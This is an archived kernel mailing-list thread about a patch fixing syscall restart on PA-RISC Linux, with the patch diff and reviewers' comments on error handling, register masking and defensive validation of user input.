Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26268>

This is version 2 of the patch:

On parisc syscalls which are interrupted by signals sometimes failed to
restart and instead returned -ENOSYS which in the worst case lead to
userspace crashes.
A similiar problem existed on MIPS and was fixed by commit e967ef02
("MIPS: Fix restart of indirect syscalls").

On parisc the current syscall restart code assumes that all syscall
callers load the syscall number in the delay slot of the ble
instruction. That's how it is e.g. done in the unistd.h header file:
	ble 0x100(%sr2, %r0)
	ldi #syscall_nr, %r20
Because of that assumption the current code never restored %r20 before
returning to userspace.

This assumption is at least not true for code which uses the glibc
syscall() function, which instead uses this syntax:
	ble 0x100(%sr2, %r0)
	copy regX, %r20
where regX depend on how the compiler optimizes the code and register
usage.

This patch fixes this problem by adding code to analyze how the syscall
number is loaded in the delay branch and - if needed - copy the syscall
number to regX prior returning to userspace for the syscall restart.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org
Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index dc1ea79..2264f68 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -435,6 +435,55 @@ handle_signal(struct ksignal *ksig, struct pt_regs *regs, int in_syscall)
 		regs->gr[28]);
 }
 
+/*
+ * Check how the syscall number gets loaded into %r20 within
+ * the delay branch in userspace and adjust as needed.
+ */
+
+static void check_syscallno_in_delay_branch(struct pt_regs *regs)
+{
+	u32 opcode, source_reg;
+	u32 __user *uaddr;
+	int err;
+
+	/* Usually we don't have to restore %r20 (the system call number)
+	 * because it gets loaded in the delay slot of the branch external
+	 * instruction via the ldi instruction.
+	 * In some cases a register-to-register copy instruction might have
+	 * been used instead, in which case we need to copy the syscall
+	 * number into the source register before returning to userspace.
+	 */
+
+	/* A syscall is just a branch, so all we have to do is fiddle the
+	 * return pointer so that the ble instruction gets executed again.
+	 */
+	regs->gr[31] -= 8; /* delayed branching */
+
+	/* Get assembler opcode of code in delay branch */
+	uaddr = (unsigned int *) ((regs->gr[31] & ~3) + 4);
+	err = get_user(opcode, uaddr);
+	if (err)
+		return;
+
+	/* Check if delay branch uses "ldi int,%r20" */
+	if ((opcode & 0xffff0000) == 0x34140000)
+		return;	/* everything ok, just return */
+
+	/* Check if delay branch uses "nop" */
+	if (opcode == INSN_NOP)
+		return;
+
+	/* Check if delay branch uses "copy %rX,%r20" */
+	if ((opcode & 0xffe0ffff) == 0x08000254) {
+		source_reg = (opcode >> 16) & 31;
+		regs->gr[source_reg] = regs->gr[20];
+		return;
+	}
+
+	pr_warn("syscall restart: %s (pid %d): unexpected opcode 0x%08x\n",
+		current->comm, task_pid_nr(current), opcode);
+}
+
 static inline void
 syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
 {
@@ -457,10 +506,7 @@ syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
 		}
 		/* fallthrough */
 	case -ERESTARTNOINTR:
-		/* A syscall is just a branch, so all
-		 * we have to do is fiddle the return pointer.
-		 */
-		regs->gr[31] -= 8; /* delayed branching */
+		check_syscallno_in_delay_branch(regs);
 		break;
 	}
 }
@@ -510,15 +556,9 @@ insert_restart_trampoline(struct pt_regs *regs)
 	}
 	case -ERESTARTNOHAND:
 	case -ERESTARTSYS:
-	case -ERESTARTNOINTR: {
-		/* Hooray for delayed branching.  We don't
-		 * have to restore %r20 (the system call
-		 * number) because it gets loaded in the delay
-		 * slot of the branch external instruction.
-		 */
-		regs->gr[31] -= 8;
+	case -ERESTARTNOINTR:
+		check_syscallno_in_delay_branch(regs);
 		return;
-	}
 	default:
 		break;
 	}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts (v2)
Date: Mon, 21 Dec 2015 08:11:50 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <D2C9455F-EB66-494D-8503-4F56E6289ECA@bell.net>
References: <20151218233034.GA24910@p100.box> <20151221091933.GA22935@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450703523 19041 80.91.229.3 (21 Dec 2015 13:12:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Dec 2015 13:12:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 21 14:11:54 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aB0Fm-0007fI-6j
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Dec 2015 14:11:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751042AbbLUNLx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Dec 2015 08:11:53 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:46037 "EHLO
	torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750866AbbLUNLx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Dec 2015 08:11:53 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20151221131151.UYRP22640.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 21 Dec 2015 08:11:51 -0500
Original-Received: from [192.168.2.10] (really [70.53.62.134]) by torspm02.bell.net
          with ESMTP
          id <20151221131151.CFNE31117.torspm02.bell.net@[192.168.2.10]>;
          Mon, 21 Dec 2015 08:11:51 -0500
In-Reply-To: <20151221091933.GA22935@p100.box>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.5677FA97.016C,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26269
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26269>

On 2015-12-21, at 4:19 AM, Helge Deller wrote:

> On parisc the current syscall restart code assumes that all syscall
> callers load the syscall number in the delay slot of the ble
> instruction. That's how it is e.g. done in the unistd.h header file:
> 	ble 0x100(%sr2, %r0)
> 	ldi #syscall_nr, %r20
> Because of that assumption the current code never restored %r20 before
> returning to userspace.

Is %r20 restored for nop case?  The comments in the patch suggest that it is
not necessary to restore it.

I'm  thinking we need to review syscall clobbered register list for glibc.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Mon, 21 Dec 2015 14:39:01 +0000 (UTC)
Lines: 205
Approved: news@gmane.org
Message-ID: <1067033558.279034.1450708741358.JavaMail.zimbra@efficios.com>
References: <20151218233034.GA24910@p100.box> <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com> <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com> <5676CE11.9020808@gmx.de> <1450630202.2256.5.camel@HansenPartnership.com> <56771114.6030201@gmx.de> <1450685026.2256.20.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450708764 7923 80.91.229.3 (21 Dec 2015 14:39:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Dec 2015 14:39:24 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 21 15:39:06 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aB1c9-0007wn-EP
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Dec 2015 15:39:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751145AbbLUOjE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Dec 2015 09:39:04 -0500
Original-Received: from mail.efficios.com ([78.47.125.74]:45302 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751071AbbLUOjD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Dec 2015 09:39:03 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 8B21C3403B7;
	Mon, 21 Dec 2015 14:39:03 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id 24SwVcbmdIlW; Mon, 21 Dec 2015 14:39:02 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 3EB963403D5;
	Mon, 21 Dec 2015 14:39:02 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id 5vpCfqJm4cHf; Mon, 21 Dec 2015 14:39:01 +0000 (UTC)
Original-Received: from evm-mail-1.efficios.com (evm-mail-1.efficios.com [78.47.125.74])
	by mail.efficios.com (Postfix) with ESMTP id DB38E3403B7;
	Mon, 21 Dec 2015 14:39:01 +0000 (UTC)
In-Reply-To: <1450685026.2256.20.camel@HansenPartnership.com>
X-Originating-IP: [78.47.125.74]
X-Mailer: Zimbra 8.6.0_GA_1178 (ZimbraWebClient - FF43 (Linux)/8.6.0_GA_1178)
Thread-Topic: parisc: Fix syscall restarts
Thread-Index: gvVpqsarSR4N9rzZkUnJIVu00Y50Jg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26270
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26270>

----- On Dec 21, 2015, at 3:03 AM, James Bottomley James.Bottomley@HansenPartnership.com wrote:

> On Sun, 2015-12-20 at 21:35 +0100, Helge Deller wrote:
>> On 20.12.2015 17:50, James Bottomley wrote:
>> > On Sun, 2015-12-20 at 16:49 +0100, Helge Deller wrote:
>> > > On 20.12.2015 15:09, Mathieu Desnoyers wrote:
>> > > > ----- On Dec 20, 2015, at 8:59 AM, Mathieu Desnoyers
>> > > > mathieu.desnoyers@efficios.com wrote:
>> > > > 
>> > > > > ----- On Dec 18, 2015, at 6:30 PM, Helge Deller deller@gmx.de
>> > > > >  wro
>> > > > > te:
>> > > > > 
>> > > > > > On parisc syscalls which are interrupted by signals
>> > > > > > sometimes
>> > > > > > fail to restart
>> > > > > > and instead return -ENOSYS which then in the worst case
>> > > > > > lead to
>> > > > > > userspace
>> > > > > > crashes.
>> > > > > > A similiar problem existed on MIPS and was fixed by commit
>> > > > > > e967ef02
>> > > > > > ("MIPS: Fix restart of indirect syscalls").
>> > > > > > 
>> > > > > > On parisc the current syscall restart code assumes hat the
>> > > > > > syscall number is
>> > > > > > always loaded in the delay branch of the ble instruction as
>> > > > > > defined in the
>> > > > > > unistd.h header file and as such never restored %r20 before
>> > > > > > returning to
>> > > > > > userspace:
>> > > > > > 	ble 0x100(%sr2, %r0)
>> > > > > > 	ldi #syscall_nr, %r20
>> > > > > > 
>> > > > > > This assumption is at least not true for code which uses
>> > > > > > the
>> > > > > > syscall() glibc
>> > > > > > function, which instead uses this syntax:
>> > > > > > 	ble 0x100(%sr2, %r0)
>> > > > > > 	copy regX, %r20
>> > > > > > where regX depend on how the compiler optimizes the code
>> > > > > > and
>> > > > > > register usage.
>> > > > > > 
>> > > > > > This patch fixes this problem by adding code to analyze how
>> > > > > > the
>> > > > > > syscall number
>> > > > > > is loaded in the delay branch and - if needed - copy the
>> > > > > > syscall number to regX
>> > > > > > prior returning to userspace for the syscall restart.
>> > > > > > 
>> > > > > > Signed-off-by: Helge Deller <deller@gmx.de>
>> > > > > > Cc: stable@vger.kernel.org
>> > > > > > Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
>> > > > > > 
>> > > > > > diff --git a/arch/parisc/kernel/signal.c
>> > > > > > b/arch/parisc/kernel/signal.c
>> > > > > > index dc1ea79..b0414ad 100644
>> > > > > > --- a/arch/parisc/kernel/signal.c
>> > > > > > +++ b/arch/parisc/kernel/signal.c
>> > > > > > @@ -435,6 +435,48 @@ handle_signal(struct ksignal *ksig,
>> > > > > > struct
>> > > > > > pt_regs *regs,
>> > > > > > int in_syscall)
>> > > > > > 		regs->gr[28]);
>> > > > > > }
>> > > > > > 
>> > > > > > +/*
>> > > > > > + * Check the delay branch in userspace how the syscall
>> > > > > > number
>> > > > > > gets loaded into
>> > > > > > + * %r20 and adjust as needed.
>> > > > > 
>> > > > > I'm pretty sure "Check the delay branch in userspace how the
>> > > > > syscall..."
>> > > > > is not an English construct. ;-) Suggested rewording:
>> > > > > 
>> > > > > "Check how the syscall number gets loaded into %r20 within
>> > > > > the delay branch in userspace and adjust as needed."
>> > > 
>> > > Thanks!
>> > > I'll change that.
>> > > 
>> > > 
>> > > > > > + */
>> > > > > > +
>> > > > > > +static void check_syscallno_in_delay_branch(struct pt_regs
>> > > > > > *regs)
>> > > > > > +{
>> > > > > > +	unsigned int opcode, source_reg;
>> > > > > 
>> > > > > Why "unsigned int" above rather than u32 ? Since we're using
>> > > > > opcode as target variable for a get_user, it would be clearer
>> > > > > if the type of the __user * match the type of the target
>> > > > > kernel
>> > > > > variable. (understood that those happen to have the same
>> > > > > bitness
>> > > > > and type size on all Linux architectures, but it would be
>> > > > > clearer
>> > > > > nevertheless).
>> > > 
>> > > Yes, seems OK.
>> > > I'll change that.
>> > > 
>> > > > > > +	u32 __user *uaddr;
>> > > > > > +
>> > > > > > +	/* Usually we don't have to restore %r20 (the
>> > > > > > system
>> > > > > > call number)
>> > > > > > +	 * because it gets loaded in the delay slot of the
>> > > > > > branch external
>> > > > > > +	 * instruction via the ldi instruction.
>> > > > > > +	 * In some cases a register-to-register copy
>> > > > > > instruction might have
>> > > > > > +	 * been used instead, in which case we need to
>> > > > > > copy
>> > > > > > the syscall
>> > > > > > +	 * number into the source register before
>> > > > > > returning to
>> > > > > > userspace.
>> > > > > > +	 */
>> > > > > > +
>> > > > > > +	/* A syscall is just a branch, so all
>> > > > > > +	 * we have to do is fiddle the return pointer.
>> > > > > > +	 */
>> > > > > > +	regs->gr[31] -= 8; /* delayed branching */
>> > > > > > +
>> > > > > > +	/* Get assembler opcode of code in delay branch */
>> > > > > > +	uaddr = (unsigned int *) (regs->gr[31] + 1);
>> > > > > > +	get_user(opcode, uaddr);
>> > > > > 
>> > > > > get_user() can fail due to EFAULT. This error should be
>> > > > > handled here, otherwise this could lead to the following
>> > > > > code using an uninitialized opcode variable, which could
>> > > > > indirectly leak a few bits of kernel stack information
>> > > > > to userspace (security concern). One attack vector I have
>> > > > > in mind for this is ptrace(), which might be able to tweak
>> > > > > those register values.
>> > > 
>> > > Yes, generally get_user() can fail.
>> > > But this would be rather strange in that case, because
>> > > the syscall was started by userspace from this address.
>> > > So, without the code at that address in userspace, we would
>> > > never have reached this get_user().
>> > 
>> > Actually, that's not necessarily a safe assumption.  Any memory
>> > allocation in a syscall path (except GFP_ATOMIC) can trigger
>> > reclaim
>> > and since this is a signal restart path, that's entirely possible.
>> >  Reclaim could pull the backing page out from under the syscall, so
>> > in
>> > a low memory situation it is possible get_user() could fail with
>> > EFAULT
>> 
>> Really?
>> Maybe I misunderstood...?
>> So, let's say we have low memory and the kernel "swapped" out the
>> userspace.
>> I assume that when there is no memory pressure get_user() would
>> pull the page in again, and if it's memory pressure, then with the
>> assumption
>> there is no memory left it probably return EFAULT (is that true?).
>> But what happens then when we return to userspace?
>> I expect userspace then to segfault.
>> 
>> I will add the check for EFAULT, but just trying to understand...
> 
> Actually, you're right, I was misremembering why these functions return
> EFAULT.  It's if the access is invalid.  They will actually try to page
> back in via the fault handler if the backing has gone.

I think you could still trigger the EFAULT by having a
concurrent thread running within the same process address
space invoking munmap on the memory range that
includes the get_user() target memory area.

This would clearly be a hostile user-space application,
but it's important to validate all user inputs very
carefully, especially for misbehaving applications.

Thanks,

Mathieu

> 
> James
> 
>> > unless get_user_page() has been called somewhere to pin the page.
>> 
>> Helge
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux
>> -parisc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html

-- 
Mathieu Desnoyers
EfficiOS Inc.
http://www.efficios.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Mon, 21 Dec 2015 14:42:44 +0000 (UTC)
Lines: 74
Approved: news@gmane.org
Message-ID: <1413798988.279042.1450708964783.JavaMail.zimbra@efficios.com>
References: <20151218233034.GA24910@p100.box> <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com> <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com> <5676CE11.9020808@gmx.de> <485EBA8B-C9F3-4A5C-9962-ADD70134B52C@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450708977 11248 80.91.229.3 (21 Dec 2015 14:42:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Dec 2015 14:42:57 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 21 15:42:51 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aB1fm-0004qM-2o
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Dec 2015 15:42:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751367AbbLUOmt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Dec 2015 09:42:49 -0500
Original-Received: from mail.efficios.com ([78.47.125.74]:45337 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751317AbbLUOmt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Dec 2015 09:42:49 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id B86DA3403B7;
	Mon, 21 Dec 2015 14:42:49 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id gae-4uG92HTf; Mon, 21 Dec 2015 14:42:45 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 148053403D5;
	Mon, 21 Dec 2015 14:42:45 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id GYDIDh6y6Yzo; Mon, 21 Dec 2015 14:42:44 +0000 (UTC)
Original-Received: from evm-mail-1.efficios.com (evm-mail-1.efficios.com [78.47.125.74])
	by mail.efficios.com (Postfix) with ESMTP id E4C503403B7;
	Mon, 21 Dec 2015 14:42:44 +0000 (UTC)
In-Reply-To: <485EBA8B-C9F3-4A5C-9962-ADD70134B52C@bell.net>
X-Originating-IP: [78.47.125.74]
X-Mailer: Zimbra 8.6.0_GA_1178 (ZimbraWebClient - FF43 (Linux)/8.6.0_GA_1178)
Thread-Topic: parisc: Fix syscall restarts
Thread-Index: pkgiIj5Sf0b2KqimZUIj86sukM5pxA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26271>

----- On Dec 20, 2015, at 1:31 PM, John David Anglin dave.anglin@bell.net wrote:

> On 2015-12-20, at 10:49 AM, Helge Deller wrote:
> 
>>>>> /* Check if delay branch uses "copy %rX,%r20" */
>>>>> +	if ((opcode & 0xff00ffff) == 0x08000254) {
>>>>> +		source_reg = (opcode >> 16) & 31;
>>>> 
>>>> Can you explain the reasoning behind the & 31 mask ?
>>>> I'm no parisc expert, but this seems rather odd.
>>>> Do you really mean "% 31" which translates to "& 5" ?
>>>> It would make more sense since there are 32 "gr"
>>>> registers. With & 31, a carefully crafted opcode
>>>> could overflow the gr[32] array, and cause a kernel
>>>> overflow allowing to overwrite kernel memory
>>>> (security issue).
>>> 
>>> Hrm, I got my masks temporarily mixed up (early morning
>>> here). This is why I always use constructs such as:
>>> 
>>> #define GR_REGS_BITS  5
>>> #define NR_GR_REGS    (1U << GR_REGS_BITS)
>>> #define GR_REGS_MASK  (NR_GR_REGS - 1)
>>> 
>>> and then
>>> 
>>> v & GR_REGS_MASK;
>>> 
>>> Which makes everything super-obvious. The & 31 mask
>>> seems therefore technically correct.
>> 
>> Good. I was struggling with your comments as well :-)
>> 
>> 
>>> The paragraph below still holds though:
>>> 
>>>> 
>>>> If it's the case, then it would also be good to
>>>> check that the register selector within the opcode
>>>> is not larger than 31 (e.g. applying to fr or sr
>>>> register), rather than applying the modulo and
>>>> assuming it's a gr and corrupt userspace state.
>> 
>> I'll check that.
> 
> The register field cannot be larger than 31.  A fr or sr
> regster can't be used in a LDO "copy" instruction.

Independently of the instruction set, if an application
pulls the carpet from under the kernel from a concurrent
thread (or possibly ptrace) by forging an invalid
instruction after the system call has started executing,
it would be good to catch it and report it with a printk,
rather than blindly expecting that some bits should always
be 0.

Thanks,

Mathieu

> 
> Dave
> --
> John David Anglin	dave.anglin@bell.net

-- 
Mathieu Desnoyers
EfficiOS Inc.
http://www.efficios.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Mon, 21 Dec 2015 10:12:58 -0500
Lines: 62
Approved: news@gmane.org
Message-ID: <567816FA.2070408@bell.net>
References: <20151218233034.GA24910@p100.box>
 <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com>
 <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com>
 <5676CE11.9020808@gmx.de> <485EBA8B-C9F3-4A5C-9962-ADD70134B52C@bell.net>
 <1413798988.279042.1450708964783.JavaMail.zimbra@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450710802 9373 80.91.229.3 (21 Dec 2015 15:13:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Dec 2015 15:13:22 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 21 16:13:14 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aB29B-0007wz-JW
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Dec 2015 16:13:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751042AbbLUPNM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Dec 2015 10:13:12 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:49332 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750965AbbLUPNM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Dec 2015 10:13:12 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20151221151310.BWBZ19075.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 21 Dec 2015 10:13:10 -0500
Original-Received: from [192.168.0.125] (really [74.14.162.94]) by mtlspm01.bell.net
          with ESMTP
          id <20151221151309.YDET4210.mtlspm01.bell.net@[192.168.0.125]>;
          Mon, 21 Dec 2015 10:13:09 -0500
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1413798988.279042.1450708964783.JavaMail.zimbra@efficios.com>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.56781706.024D,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26272
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26272>

On 2015-12-21 9:42 AM, Mathieu Desnoyers wrote:
> ----- On Dec 20, 2015, at 1:31 PM, John David Anglin dave.anglin@bell.net wrote:
>
>> On 2015-12-20, at 10:49 AM, Helge Deller wrote:
>>
>>>>>> /* Check if delay branch uses "copy %rX,%r20" */
>>>>>> +	if ((opcode & 0xff00ffff) == 0x08000254) {
>>>>>> +		source_reg = (opcode >> 16) & 31;
>>>>> Can you explain the reasoning behind the & 31 mask ?
>>>>> I'm no parisc expert, but this seems rather odd.
>>>>> Do you really mean "% 31" which translates to "& 5" ?
>>>>> It would make more sense since there are 32 "gr"
>>>>> registers. With & 31, a carefully crafted opcode
>>>>> could overflow the gr[32] array, and cause a kernel
>>>>> overflow allowing to overwrite kernel memory
>>>>> (security issue).
>>>> Hrm, I got my masks temporarily mixed up (early morning
>>>> here). This is why I always use constructs such as:
>>>>
>>>> #define GR_REGS_BITS  5
>>>> #define NR_GR_REGS    (1U << GR_REGS_BITS)
>>>> #define GR_REGS_MASK  (NR_GR_REGS - 1)
>>>>
>>>> and then
>>>>
>>>> v & GR_REGS_MASK;
>>>>
>>>> Which makes everything super-obvious. The & 31 mask
>>>> seems therefore technically correct.
>>> Good. I was struggling with your comments as well :-)
>>>
>>>
>>>> The paragraph below still holds though:
>>>>
>>>>> If it's the case, then it would also be good to
>>>>> check that the register selector within the opcode
>>>>> is not larger than 31 (e.g. applying to fr or sr
>>>>> register), rather than applying the modulo and
>>>>> assuming it's a gr and corrupt userspace state.
>>> I'll check that.
